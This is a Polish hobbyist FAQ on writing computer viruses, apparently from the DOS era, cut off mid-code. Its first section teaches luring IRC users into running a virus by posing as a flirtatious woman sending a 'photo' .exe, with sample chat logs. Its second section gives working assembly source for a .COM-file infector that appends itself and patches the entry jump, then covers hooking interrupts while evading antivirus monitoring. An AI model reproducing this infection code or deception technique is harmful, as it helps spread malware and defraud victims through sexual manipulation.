=============================================================================== ---==] FaQ wersja 0.1 Beta (@) Wajrus [==--- -SOCiAL ENGEERiN'- ViRii -DeStRuCtiN'- =============================================================================== @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ DisClaiMeR @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ Musze w tym miejscu zaznaczyc, ze nie ponosze zadnej odpowiedzialnosci za @ @ zamieszczone tu teksty. Wszystko jest w celach edukacyjnych. Jesli zrobiles @ @ komus lub sobie przez nie krzywde, to juz twoj problem. Masz pecha 8-| @ @ Jesli zdecydujesz sie to przeczytac, najlepiej przeczytaj od dechy do dechy.@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .ÄÄÄÄÍÍÍÍÍÍÍÍ Od tworcy: ÍÍÍÍÍÍÍÍÍÄÄÄÄ. { Faq ten jest przeznaczony dla poczatkujacych wirusologow } { chcacych sie nauczyc tego i owego o virii } { oraz pisywac virii ;-) } #1 SOCIAL ENGEENERiN' & ViRii Punkt 1: IRC transfer binaria #2 ViRii STARTER Punkt 1: Slowo wstepu Punkt 2: Doklejanie sie do plikow Punkt 3: Przejmowanie przerwan po doklejeniu sie do programow Punkt 4: Jak zdobyc orginalny wektor przerwania 21h ? Punkt 5: Szyphrowanie Punkt 6: Ukrywanie twojego kodu przed oczami innych #3 LAME ZONE ATTACK Punkt 1: Format 4 lame ?! Punkt 2: Konkurs ============================= #1 SOCIAL ENGEENERiN' & ViRii ============================= Punkt 1 : IRC transfer binaria. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Chcialbym wam przyblizyc kilka sposobow poslugiwania sie IRC aby uzyskac swoj upragniony cel, czyli zlinowanie komus wira. hehe. Jest to wbrew pozorom trudne do zrealizowania. Caly kruczek polega na tym, ze wiekszosc ludzi (zwalaszcza lamerzy) panicznie boja sie wirusow. Ten fakt pogarsza nasze szanse na trensfer. No ale od czego mamy glowe ! Podam wam teraz extra sposob (juz wyprobowany) na zlinowanie komus wirusa. Robimy tak: Wchodzimy na IRC pod jakims perwersyjnym nickiem (np. Pipolinka). Wazne jest, aby podac sie za panienke. Dlaczego? Proste! Po pierwsze budzimy wieksze zaufanie a po drugie, co wazniejsze, ingerujemy w genetycznie zakodowane instynkty ludzkie (hihi, podobno kazdy facet mysli o seksie mniej wiecej co 5 minut, heh, mamy to po prostu zakodowane genetycznie :)). Co dalej? Ano wchodzimy na jakis kanal (najlepiej na taki, na ktorym jest multimum ludziuf). Teraz rzucamy na kanale jakis orginalny tekst (np. "jestem strasznie napalona i szukam jakiegos przystojnego chlopca *usmiech*). Za mamencik zobaczycie pierwszego napalonego goscia. Potem nastepny, nastepny i nastepny ... (moim rekordem jest 23 w ciagu 5 min). Podam teraz przykladowowa konwersacje, ktora wyjasni te technike po krotce. Przykladowy log:ktos mnie wzywal tak. pipolinka. sam twoj nick mowi ze jestes napalona:) (Kosiarz_umyslow> pokaz swoj ogien, pokaz jak bardzo jestes napalony na irc, niewiem jak to zrobic Pipolinka Pipolinka to wszystko co moge zrobic, hehe jestem samotna i napalona czekam az przelamiesz pierwsze lody he a jak mam to zrobic przez internet powiedz mi opisz sie najpierw mam okragle posladki, strasznie wielkie zderzaki i stoje na bardzo wysokich nogach [wszystko idzie ok. gosciu sie podjaral ... :)))] przeslij zdjecie to zabaczymy co sie da zrobic:) ok. ale pod reka mam tylko przekonwertowane na format exe w programie graficznym Graphic Workshop (mniej zajmuje). [ehmm, jesli to total lamer to zgodzi sie bez namyslu; sprawdzilem, hehe] dobra. DCC. [hehehe. teraz przygotowujemy wir-niespodzanke w postaci pliku exe :oD ] masz? mam :) [no to tera se to uruchom, hihi :---) ] thnx. [not at all...] Inny przyklad loga: intrygujacy nick nie daje rady, tylu tu napalencow ... moze zdecyduj sie tylko na mnie..?? jak okazesz sie ciekawy, dam ci sprobowac i przesle ci moje zdjecie (leze na tapczanie tylko w bieliznie). ooo! (tomm> darek 28 latek... 180 szatyn..niebieskie oczka.. kocham muzyke komputery i sex..kazdy nawet najbardziej perwersyjny.. jestes w moim typie... w nagrode przesle ci moje zdjecie, ok? [?!??!??] ok. fajnie. jest przeksztalcone w programie GWS na format exe wraz z krotka animacja ze mna. [co ty na tio ?] przeslij plz [hmm, rozmowa rozmowa, ale trza przejsc do konkretow ;) ] oki. dzieki. [siur. polecam sie na przyszlosc :)))))))] tia. madafaka i tomm maja teraz na dysku plik z wirusem i nic nie podejrzewaja ze moze to byc jakis perfidny podstep. Po wyjsciu z internetu (a byc moze nawet odrazu, hihi :)) najprawdopodobniej przegladna pliki ktore dzis sciagneli. Wtedy zobacza plik pipolina.exe :-D i ogarnie ich nieodparta potrzeba zobaczenia tak oczekiwanego zdjecia. Chyba wiadomo co dalej... :--) Jest jednak kilka warunkow o ktorych musimy pamietac podczas naszych swawol. Wymienie je teraz. -naklaniany gosciu musi byc "zaawansowanym" lamerem -nasz nick powinien byc perwersyjnie nieelegancki -musimy robic dobre wrazenie na osobie z ktora konwersujemy Muhihi. Mozecie pomyslec ze jest to troche nieetyczne zeby podszywac sie pod panienke (transwestyta jakis czy co? wrrrrr) ale powiem (nie bez kozery) ze jest to idealny pomysl aby zrealizowac swoje zamysly. Oprocz manipulowania umyslem mam jeszcze kilka innych sposobow na przeslanie komus wira (o tym moze w nastepnym faq ;)) Dodam jeszcze ze aby metoda ta byla do kwadratu skuteczna watro tez nawiazywac kontakty z zagranica :) hie hie. O ogromie rozprzestrzeniania sie naszego wira taka metoda nie musze chyba wspominac :o] PS. Zamieszczone logi to fragmenty prawdziwych konwersacji z IRC. Az sie wierzyc nie chce, no nie ? :Ä) ================ #2 ViRii STARTER ================ Punkt 1 : Slowo wstepu. +-+-+-+-+-+-+-+-+-+-+-+ Ehlo Ehlo, wiariaci komputerowi laczcie sie ! Ten text jest przeznaczony przede wszystkim dla wariatow komputerowych ktorzy znaja jezyk maszynowy procesorow rodziny Intel 80x86 i zamierzaja swoja wiedze wykorzystac w bardzo brzydki sposob (hihi. tfu.. 8-) -piszac wirusy :-] Jezeli ty jestes takim swirem, a nie wiesz nic o pisaniu wirusow to sie nie martw - jezeli nauczyles sie asemblera, to czytajac ten artykul naumiesz sie pisac virii. Nie bede tu pisal czym jest wirus komputerowy, bo kazdy napewno to wie. Do zrozumienia tresci textu przyda ci sie znajomosc Pascala, gdyz wiele algorytmow bede tlumaczyl (a przynajmniej sie szczerze staral ;-) poslugujac sie pseudo-kodem, a ten zas jest bardzo podobny do Pascala. W textach tego co przeczytasz znajdziesz sporo zrodlowek z obszernymi opisami. Jak to wyglada w praktyce dowiesz sie za chwile... PS. W Tej czesci FAQ znajdziesz tylko informacje o rezydentnych wirusach plikowych! (maybe w next wersji bedzie troche obszerniej ;-) Punkt 2: Doklejanie sie do plikow. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- OK. Na poczatku opisze kilka podstawowych metod doklejania sie do plikow. Najprostsza metoda jest doklejanie sie do plikow .COM. Programy w postaci *.COM sa najprostszymi programami spotykanymi na PC-tach. Sa one rowniez bardzo ograniczone. Moga maksymalnie miec 64 Kb (jeden segment), sa cale ladowane do pamieci a instrukcje w programie wykonywane sa w takiej kolejnosci w jakiej sa zapisane w jego wnetrzu. Dodatkowo wiadomo, ze wszystkie rejestry segmentowe w chwili uruchomienia .COM-a maja te sama wartosc, a rejestr IP ma zawsze wartosc 100h (256 w trybie DEC). Dla przykladu: 24-bajtowy program PRZYKLAD.COM (kod zrodlowy zamieszczony u dolu) wygladajacy w nastepujacy sposob: 0B8h,012h,04Ah,0B9h,052h,04Dh, 0BAh,049h,043h,0CDh,02Fh,081h,0F9h,043h,049h,075h,006h,0B4h,002h,0B2h,007h, 0CDh,021h,0C3h (program robi BEEP, gdy dysk na ktorym zostal uruchomiony jest spakowany DOUBLE SPACE-m lub jakims innym gownem :). Zacznie sie ZAWSZE wykonywac od instrukcji 0B8h, 012h, 04Ah (MOV AX,4A12h) nastepna bedzie instrukcja lezaca po niej itd. OK. Przeanalizujmy teraz, jak mozna dokleic jakis wlasny programik do tego, przedstawionego nizej. ;*****************Ciachnij********************** SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A, ES:SEG_A, SS:SEG_A ORG 100h @POCZATEK: MOV AX,4A12H MOV CX,'MR' MOV DX,'CI' INT 2FH CMP CX,'IC' JNE @KONIEC MOV AH,02H MOV DL,07H INT 21H @KONIEC:RET SEG_A ENDS END @POCZATEK ;*****************Ciachnij********************** Zalozmy, ze bedziemy doczepiac wlasny program wypisujacy cos na ekranie, na przyklad: MOV AH,09H MOV DX,OFFSET @TEKST INT 21H @TEKST: DB 'PRZYKLAD WIRA$' Podczepienie tego programiku bedzie polegalo na doklejeniu go na koniec "zarazanego", tak aby wygladalo to nastepujaco: @POCZATEK: MOV AX,4A12H MOV CX,'MR' MOV DX,'CI' INT 2FH CMP CX,'IC' JNE @KONIEC MOV AH,02H MOV DL,07H INT 21H @KONIEC: RET MOV AH,09H MOV DX,OFFSET @TEKST INT 21H @TEKST: DB 'PRZYKLAD WIRA$' Tia. Napiszmy odpowiedni program .COM, doczepiajacy na koniec pliku PRZYKLAD.COM nasz kawalek kodu. Tak teraz, jak i pozniej nie sprawdzajmy, czy plik, do ktorego doczepiamy nasz program nie jest na to za duzy. Zrobmy to Turbo Asemblerem: ;*****************Ciachnij********************** ; NAGLOWEK DLA TASM.EXE SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A, ES:SEG_A ; INFORMACJE, ZE PROGRAM JEST TYPU .COM ORG 100H @POCZATEK: ; OTWARCIE PLIKU DO ZAPISU I ODCZYTU MOV AX,3D02H LEA DX,@PLIK INT 21H ; ZAPAMIETANIE W UCHWYTU TEGO PLIKU XCHG AX,BX ; PRZESUNIECIE WSKAZNIKA ODCZYTU/ZAPISU ; NA KONIEC PLIKU MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H ; OBLICZENIE, ILE BAJTOW ZAWIERA MOJA PROCEDURA, ; KTORA BEDE ZAPISYWAL NA KONIEC PLIKU PRZYKLAD.COM. ; DLUGOSC OBLICZAMY ODEJMUJAC PRZESUNIECIA ; KONCA I POCZATKU. MOV CX,(OFFSET @MOJE_END)-(OFFSET @MOJE) ; ZAPISUJEMY BAJTOW Z BUFORA <@MOJE> LEA DX,@MOJE MOV AH,40H INT 21H ; ZAMYKAMY PLIK PRZYKLAD.COM. PAMIETAJMY, ZE JEGO ; UCHWYT WCIAZ ZNAJDUJE SIE W MOV AH,3EH INT 21H ; KONCZYMY DZIALANIE. AHA, MOZE TU ZAMIAST BYC ; ALBO WYWOLANIE 21H PRZERWANIA ; Z FUNKCJA 4CH. RET ; NAZWA PLIKU DO OTWARCIA @PLIK: DB 'PRZYKLAD.COM',0 ; POCZATEK BUFORA Z MOJA PROCEDURA @MOJE: MOV AH,09H MOV DX,OFFSET @TEKST INT 21H @TEKST: DB 'PRZYKLAD WIRA$' ; KONIEC BUFORA @MOJE_END: ; ZAKONCZENIE PLIKU - DLA TASM.EXE SEG_A ENDS END @POCZATEK ;*****************Ciachnij********************** Uzyskujemy pozadany efekt, uruchamiamy program PRZYKLAD i... AAAAAA!!! nic sie nie dzieje. Dlaczego? Otoz of coz pozostaje nam jeszcze przejac punkt startu programu i najpierw przekazac sterowanie do "wirusa". Latwo sobie wyobrazic, jak po tej operacji bedzie wygladal program: @POCZATEK: JMP @MOJE MOV CX,'MR' MOV DX,'CI' INT 2FH CMP CX,'IC' JNE @KONIEC MOV AH,02H MOV DL,07H INT 21H @KONIEC: RET @MOJE: MOV AH,09H MOV DX,OFFSET @TEKST INT 21H JMP @START @TEKST: DB 'PRZYKLAD WIRA$' Taa. Pozostaje tylko kwestia zapamietania pierwszych kilku (w tym wypadku 3 bajtow), aby wstawic tam nasz JUMP, a nastepnie odtworzenie ich. Bedzie to od nas wymagalo zarezerwowania jeszcze 3 bajtowego bufora, najlepiej pod napisem. Algorytm takiej czynnosci jest prosty: OPEN ('PRZYKLAD.COM') LOAD (3 BAJTY) SEEK (START PLIKU) SAVE (ROZKAZ JMP) SEEK (KONIEC PLIKU) SAVE ("WIRUS") SAVE (3 BAJTY ZE STARTU) Lecz jest jeszcze jeden problem, mianowicie nasz program poza wyswietlaniem napisu bedzie musial zadbac o odtworzenie 3 bajtow na poczatek programu. Ale jak obliczyc start programu?? To proste: CS:100h!!!! Po zmodyfikowaniu nasz doczepiany programik bedzie wygladal tak: @MOJE: MOV AH,09H MOV DX,OFFSET @TEKST INT 21H MOV SI,OFFSET @BUFOR MOV DI,100H MOV CX,0003H REP MOVSB MOV SI,100H JMP SI @TEKST: DB 'PRZYKLAD WIRA$' @BUFOR: DB 3 DUP (0) Pomyslisz: Hmm, dlaczego odtwarzac bufor na poczatek i tam go wykonywac, skoro mozna wykonac bufor, a potem skoczyc na cs:103h? Otoz nie mozna tak, gdyz skad wiesz, czy 3 bajty w buforze stanowia kompletny rozkaz, a nie np. uciety w polowie? Np. TEST BP,0001H ma 4 bajty, albo niech to bedzie NOP a potem MOV AX,0A000h, to MOV utniesz w polowie! Musimy go (tzn. bufor) odtworzyc na swoje miejsce! Za zapamietanie i zachowanie poczatku programu odpowiedzialny bedzie "program instalacyjny" (pozniej sam wirus). Taa, oto on z nowymi obowiazkami: ;*****************Ciachnij********************** ; NAGLOWEK DLA TASM.EXE SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A, ES:SEG_A ; INFORMACJE, ZE PROGRAM JEST TYPU .COM ORG 100H @POCZATEK: ; OTWARCIE PLIKU DO ZAPISU I ODCZYTU MOV AX,3D02H LEA DX,@PLIK INT 21H ; ZAPAMIETANIE W UCHWYTU TEGO PLIKU XCHG AX,BX ; ZALADOWANIE DO BUFORA PIERWSZYCH TRZECH BAJTOW MOV AH,3FH LEA DX,@BUFOR MOV CX,0003H INT 21H ; PRZESUNIECIE WSKAZNIKA ODCZYTU/ZAPISU ; NA POCZATEK PLIKU MOV AX,4200H XOR CX,CX XOR DX,DX INT 21H ; ZAPISANIE NA POCZATKU PROGRAMU SKOKU DO VIRA MOV CX,0003H MOV AH,40H LEA DX,@SKOK INT 21H ; PRZESUNIECIE WSKAZNIKA ODCZYTU/ZAPISU ; NA KONIEC PLIKU MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H ; OBLICZENIE, ILE BAJTOW ZAWIERA MOJA PROCEDURA, ; KTORA BEDE ZAPISYWAL NA KONIEC PLIKU PRZYKLAD.COM. ; DLUGOSC OBLICZAMY ODEJMUJAC PRZESUNIECIA ; KONCA I POCZATKU. W TO JEST JUZ WLICZONE 3 BAJTY ; NA BUFOR ORYGINALNYCH BAJTOW PROGRAMU, GDYZ JEST ; ON (BUFOR) POMIEDZY ETYKIETAMI. MOV CX,(OFFSET @MOJE_END)-(OFFSET @MOJE) ; ZAPISUJEMY BAJTOW Z BUFORA <@MOJE> LEA DX,@MOJE MOV AH,40H INT 21H ; ZAMYKAMY PLIK PRZYKLAD.COM. PAMIETAJMY, ZE JEGO ; UCHWYT WCIAZ ZNAJDUJE SIE W MOV AH,3EH INT 21H ; KONCZYMY DZIALANIE. MOZE TU ZAMIAST BYC ; ALBO WYWOLANIE 21H PRZERWANIA ; Z FUNKCJA 4CH. RET ; NAZWA PLIKU DO OTWARCIA @PLIK: DB 'PRZYKLAD.COM',0 ; POCZATEK BUFORA Z MOJA PROCEDURA. DODANE ; ODTWORZENIE PIERWSZYCH 3 BAJTOW ORYGINALNEGO ; PROGRAMU @MOJE: MOV AH,09H MOV DX,OFFSET @TEKST INT 21H MOV SI,OFFSET @BUFOR MOV DI,100H MOV CX,0003H REP MOVSB MOV SI,100H JMP SI @TEKST: DB 'PRZYKLAD WIRA$' @BUFOR: DB 3 DUP (0) ; KONIEC BUFORA @MOJE_END: ; BUFOR Z INSTRUKCJA SKOKU. TA INSTRUKCJA ZOSTANIE ; PRZENIESIONA NA POCZATEK "ZARAZANEGO" PROGRAMU. @SKOK: JMP @MOJE ; ZAKONCZENIE PLIKU - DLA TASM.EXE SEG_A ENDS END @POCZATEK ;*****************Ciachnij********************** Po uruchomieniu programu rozmnazajacego, PRZYKLAD.COM teoretycznie wyglada tak: @POCZATEK: JMP @MOJE MOV CX,'MR' MOV DX,'CI' INT 2FH CMP CX,'IC' JNE @KONIEC MOV AH,02H MOV DL,07H INT 21H @KONIEC: RET @MOJE: MOV AH,09H MOV DX,OFFSET @TEKST INT 21H MOV SI,OFFSET @BUFOR MOV DI,100H MOV CX,0003H REP MOVSB MOV SI,100H JMP SI @TEKST: DB 'PRZYKLAD WIRA$' @BUFOR: MOV AX,4A12H Jednak teraz, uruchomienie PRZYKLAD.COM powoduje zawieszenie komputera, wiec cos jeszcze jest zle?! I tu wlasnie zaczynaja sie (male) komplikacje. Zaczyna sie troche przeliczania adresow, ingerencja w "bajtowy" wyglad instrukcji itd. Tia. Postaram ci jasno wytlumaczyc o co chodzi. Zobacz: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- I. SKOK DO WIRUSA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Jak zapewne wiesz, skoki sa rozne. Ilosc bajtow, jaka posiada rozkaz jest uzalezniona od odleglosci, na jaka chcesz skoczyc i kierunku, czy wykonujesz skok wewnatrz-segmentowy czy nie itd. My bedziemy potrzebowac 3 bajtowego skoku o kodzie 0E9H i o dwoch bajtach przeznaczonych na adres. Adresem do skoku nie moze byc sobie tak po prostu OFFSET @MOJE, gdyz jest to adres wzgledny dla programu dolaczanego. Jezeli etykieta @MOJE: jest na poczatku programu jej adresem bezwzglednym bedzie oczywiscie CS:0, ale adresem wzgledem programu bedzie CS:100H. Jezeli "na zywca" przepiszemy ten adres, to po wstrzeleniu tej instrukcji do zarazanego programu bedzie ona petla typu: START_PROGRAMU: JMP START_PROGRAMU Zadasz sobie na pewno pytanie, "jak w takim razie obliczyc adres naszego kodu, jezeli nie znamy wielkosci zarazanego programu?". Ok! Jest to proste. hie hie. Przyjrzyjmy sie blizej, co to jest OFFSET. Jest to przesuniecie (numer bajtu) od poczatku segmentu. Jezeli dysponujemy np. takim programem: @START: PUSH 0A000H POP ES XOR DI,DI MOV SI,OFFSET @DANE MOV CX,32000 REP MOVSW RET @DANE: DB ?,?,?,?,(...),? to adres etykiety @DANE wzgledem programu jest rowny wielkosci kodu calego programu do tej etykiety, czyli ((OFFSET @DANE)-(OFFSET @START)) a wzgledem poczatku segmentu w programie .COM o 100H wiecej. Jest wiec logiczne, ze nie znajac dlugosci programu, adres (wzgledem poczatku segmentu) pierwszej dolepionej instrukcji obliczymy jako: (WIELKOSC(PLIKU) + 100H) Wiec nasz skok na poczatek "wirusa" powinien wygladac tak: ÉÍÍÍÍ»ÉÍÍÍÍ»ÉÍÍÍÍ» º E9 ºº xx ºº xx º ÈͳÍͼÈͳÍͼÈÍͳͼ ³ ³ ³ 2 bajty na ³ ÀÄÄÄÄÄÄÁÄÄ (dlugosc programu)-3 ³ ÀÄÄ kod instrukcji JMP Czemu -3 ? Bo 3 bajty zajmuje skok! Proste no nie! Hehe. Jak zapisac to w kodzie? Prosto! Tam, gdzie jest bufor @SKOK nie umieszczajmy pelnego skoku, ale nastepujaca tablice bajtow: @SKOK: DB 0E9h @SKOK_1:DB 0,0 Taa. Nastepnie po otwarciu programu, ktory chcemy zarazic sprawdzmy jego dlugosc i wstawmy jako adres skoku w taki sposob: OTWORZ(PLIK) X=WIELKOSC(PLIKU) @SKOK_1=X-3 (mov word ptr @skok_1,xx) Z takiego zapisu instrukcji JMP wynika jedna BARDZO DOBRA rzecz: Skok ten bedzie sie zawsze znajdowal w pamieci pod adresem CS:100H, a pod adresem CS:101H zawsze bedzie... dlugosc zdrowego programu-3 ktora mozemy wykozystac na wiele sposobow, miedzy innymi do pozniejszego przeliczania wzglednych adresow wszystkich pozostalych komponentow vira (lub do maskowania technika STEALTH). =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- II. ADRESY NAPISOW I BUFORA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Tzn. to tyczy sie wszystkich adresow uzywanych w wirusie, wszystkich napisow, zmiennych, buforow itp. Problem jest nastepujacy: jak obliczyc adres jakiegos np. napisu w naszej procedurze po jej doklejeniu do innego programu? Musimy rozwiazac ten problem tylko w kodzie naszego programu rozmnazajacego. Juz tam musi byc on uniwersalny, aby natychmiast po dolaczeniu do pliku mogl dzialac. Tak w pamieci wyglada nasza rozmnazaczka: @POCZATEK: ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» OFFSET POCZATEK = 100H º º º º º ... º @MOJE: º º OFFSET @MOJE = ? º º º º º ... º @TEKST: º º OFFSET @TEKST = ? º º º ... º @MOJE_END: º º OFFSET @MOJE_END=? º º º ... º º º Musimy przeliczyc, pod jakim adresem bedzie sie znajdowala etykieta @TEKST po doczepieniu @MOJE do innego programu. Wbrew pozorom jest to bardzo latwe: a) obliczmy jaki bylby bezwzgledny adres @TEKST, gdyby program zaczynal sie od @MOJE, czyli od kodu, ktory rozmnazamy: ADRES=((OFFSET @TEKST)-(OFFSET @MOJE)) b) wiemy, ze po dodaniu do pliku bedzie on o ILES TAM przesuniety, bo bedzie na koncu pliku. O ile? Przypomnij sobie, ze w CS:[101H] jest wlasnie ta dlugosc tyle, ze minus 3: ADRES=(((OFFSET @TEKST)-(OFFSET @MOJE))+03H) ADRES=ADRES+WORD PTR CS:[101H] c) oczywiscie jest to .COM, wiec adres wzgledem segmentu jest o 100H zwiekszony: ADRES=(((OFFSET @TEKST)-(OFFSET @MOJE))+103H) ADRES=ADRES+WORD PTR CS:[101H] d) koniec! ;) Jak tego uzywac? Zamiast MOV DX,OFFSET @TEKST bedziesz musial pisac: MOV DX,(((OFFSET @TEKST)-(OFFSET @MOJE))+103H) ADD DX,WORD PTR CS:[101H] Oto pelna, dzialajaca rozmnazaczka, z odrobine zmieniona nasza procedura, ze wszystkimi poprzeliczanymi adresami i na 100% dzialajaca! ;*****************Ciachnij********************** ; NAGLOWEK DLA TASM.EXE SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A, ES:SEG_A ; INFORMACJE, ZE PROGRAM JEST TYPU .COM ORG 100H @POCZATEK: ; OTWARCIE PLIKU DO ZAPISU I ODCZYTU MOV AX,3D02H LEA DX,@PLIK INT 21H ; ZAPAMIETANIE W UCHWYTU TEGO PLIKU XCHG AX,BX ; ZALADOWANIE DO BUFORA PIERWSZYCH TRZECH BAJTOW ; Z ORYGINALNEGO PLIKU. MOV AH,3FH LEA DX,@BUFOR MOV CX,0003H INT 21H ; PRZESUNIECIE WSKAZNIKA ODCZYTU/ZAPISU ; NA KONIEC PLIKU. W AX JEST WIELKOSC PLIKU MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H ; ZAPISUJEMY DLUGOSC SKOKU DLA INSTRUKCJI JMP. ; NA RAZIE W PAMIECI, POTEM DO PLIKU SUB AX,3 MOV WORD PTR @SKOK_1,AX ; OBLICZENIE, ILE BAJTOW ZAWIERA MOJA PROCEDURA, ; KTORA BEDE ZAPISYWAL NA KONIEC PLIKU PRZYKLAD.COM. ; DLUGOSC OBLICZAMY ODEJMUJAC PRZESUNIECIA ; KONCA I POCZATKU. W TO JEST JUZ WLICZONE 3 BAJTY ; NA BUFOR ORYGINALNYCH BAJTOW PROGRAMU, GDYZ JEST ; ON (BUFOR) POMIEDZY ETYKIETAMI. MOV CX,(OFFSET @MOJE_END)-(OFFSET @MOJE) ; ZAPISUJEMY BAJTOW Z BUFORA <@MOJE> LEA DX,@MOJE MOV AH,40H INT 21H ; PRZESUNIECIE WSKAZNIKA ODCZYTU/ZAPISU ; NA POCZATEK PLIKU MOV AX,4200H XOR CX,CX XOR DX,DX INT 21H ; ZAPISANIE NA POCZATKU PROGRAMU SKOKU DO VIRA MOV CX,0003H MOV AH,40H LEA DX,@SKOK INT 21H ; ZAMYKAMY PLIK PRZYKLAD.COM. PAMIETAJMY, ZE JEGO ; UCHWYT WCIAZ ZNAJDUJE SIE W MOV AH,3EH INT 21H ; KONCZYMY DZIALANIE. MOZE TU ZAMIAST BYC ; ALBO WYWOLANIE 21H PRZERWANIA ; Z FUNKCJA 4CH. RET ; NAZWA PLIKU DO OTWARCIA @PLIK: DB 'PRZYKLAD.COM',0 ; POCZATEK BUFORA Z MOJA PROCEDURA. DODANE ; ODTWORZENIE PIERWSZYCH 3 BAJTOW ORYGINALNEGO ; PROGRAMU. WSZYSTKIE ADRESY SA JUZ PRZELICZONE @MOJE: ; DO PRZENOSIMY DLUGOSC ZARAZANEGO PROGRAMU-3 MOV BX,WORD PTR CS:[101H] MOV AH,09H ; DO PRZELICZONEGO ADRESU DODAJEMY 103H. 100H, ; GDYZ JEST TO PROGRAM .COM, A 3, GDYZ NASTEPNIE ; DODAMY GDZIE JEST DLUGOSC PROGRAMU-3 MOV DX,(((OFFSET @TEKST)-(OFFSET @MOJE))+103H) ADD DX,BX INT 21H ; TO SAMO, CO W PRZYPADKU POWYZSZEJ OPERACJI MOV SI,(((OFFSET @BUFOR)-(OFFSET @MOJE))+103H) ADD SI,BX MOV DI,100H ; ZAPAMIETAJMY , CZYLI 100H. INSTRUKCJA ; ZAJMUJE 1 BAJT PUSH DI MOV CX,0003H REP MOVSB ; ODTWORZMY DO 100H, CO JEST ROWNOZNACZNE ; Z , ALE RAZEM Z POWYZSZYM ; ZAJMUJE O JEDEN BAJT MNIEJ POP SI JMP SI @TEKST: DB 'PRZYKLAD WIRA$' @BUFOR: DB 3 DUP (0) ; KONIEC BUFORA @MOJE_END: ; BUFOR Z INSTRUKCJA SKOKU. TA INSTRUKCJA ZOSTANIE ; PRZENIESIONA NA POCZATEK "ZARAZANEGO" PROGRAMU. @SKOK: DB 0E9H @SKOK_1:DB 00H,00H ; ZAKONCZENIE PLIKU - DLA TASM.EXE SEG_A ENDS END @START ;*****************Ciachnij********************** Punkt 3: Przejmowanie przerwan. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Przejdzmy teraz do przejmowania przerwan po doklejeniu sie do programu ;-) Przejecie przerwan przez wirusa jest warunkiem koniecznym do tego, aby byl on rezydentny. Standardowe mechanizmy DOS-a do przejmowania przerwan, czyli funkcje 25H i 35H nie sa tutaj przydatne, gdyz one to wlasnie sa obserwowane w pierwszej kolejnosci przez programy anty-wirusowe. Jakiekolwiek przerwania bedziemy przejmowac bedziemy poslugiwali sie TWP, czyli Tablica Wektorow Przerwan ktora zaczyna sie w pamieci PC pod stalym adresem 0000H:0000H i zajmuje 1024 bajty. Adres kazdego przerwania ma 4 bajty, przerwan jest 256 wiec stad ta liczba. Budowa TWP jest prosta: pod adresem 0000H:0000H jest adres przerwania INT 0H, pod adresem kolejnym czyli 0000H:0004H jest adres przerwania INT 01H itd. Kazde 4 bajty adresu sa zapisane w TWP w postaci SEGMENT:OFFSET, przy czym jest zachowana konwencja Intel-owska dla odwracania bajtow, czyli np. 145EH:0C12AH bedzie "bajtowo" w TWP wygladalo tak: ÉÍÍÍÍ» ÉÍÍÍÍ» ÉÍÍÍÍ» ÉÍÍÍÍ» º 5e º º 14 º º 2a º º c1 º ÈÍÍÍͼ ÈÍÍÍͼ ÈÍÍÍͼ ÈÍÍÍͼ Tak jak po wywolaniu funkcji 35H przerwania 21H dla INT 17H w ES:BX mamy adres procedury obslugi tego przerwania, to "na dziko" bedzie to wygladalo tak: ÚÄÄÄÄ numer przerwania PUSH 0000H ³ POP ES ³ MOV BX,WORD PTR ES:[(17H*04H)+02H] MOV ES,WORD PTR ES:[(17H*04H] I adekwatnie: gdy po funkcji 25H zostaje ustalony nowy adres procedury obslugi przerwania, tak my to bedziemy robic nastepujaco: ÚÄÄÄÄ numer przerwania PUSH 0000H ³ POP ES ³ ÚÄÄÄ segment z nasza MOV WORD PTR ES:[(17H*04H)],CS procedura MOV WORD PTR ES:[(17H*04H)+02H],OFFSET MAINEPROC MAINEPROC: ³ IRET ÀÄÄ offset naszej procedury Jednak w tym przypadku pozostaje jeno male ALE: dobry smak wymaga, aby dwie newralgiczne linie byly wykonywane przy wylaczonych przerwaniach sprzetowych. Szczegolnie wazne, a wrecz obowiazkowe jest to przy przejmowaniu takich wlasnie przerwan, np: CLI MOV WORD PTR ES:[(08H*04H)],CS MOV WORD PTR ES:[(08H*04H)+02H],DX STI Dlaczego? Pomysl: przerwanie 08H generowane jest 18.2 raza na sekunde. Co sie stanie, gdy wykona sie pierwsza linia (zapisanie nowego segmentu) i w tym wlasnie momencie wygenerowane zostanie przerwanie 08H? Pod jaki adres skoczy? Diabli wiedza! Wiec nalezy uwazac. Dobra! To tyle o metodzie. A teraz cos jeszcze. Projektujac wirusa (jak przy kazdym dobrym programie) musimy sie zastanowic, czy bedziemy przejmowac przerwanie, by zastapic calkowicie jego procedure, czy tylko aby sie do niego podczepic? Takim przykladem moze byc przerwanie drukarki (17H). Jezeli chcemy, by nasz wirus blokowal drukowanie, to nie musimy zapamietywac adresu oryginalnego przerwania, tylko pakujemu tam siebie i po ptokach! Jezeli zas chcielibysmy, aby drukarka wariowala na przyklad przy literze "V", to musimy sie tylko podczepic. Teraz, gdy wiemy juz jak doklejac (manualnie) nasz program do innego, zajmijmy sie tylko wygladem naszego doczepianego kawalka. Dopiszmy do niego procedure, ktora bedzie w momencie uruchomienia przejmowala przerwanie drukarki na stale blokujac drukowanie: ; *******************Ciachnij*********************** @MOJE: MOV BX,WORD 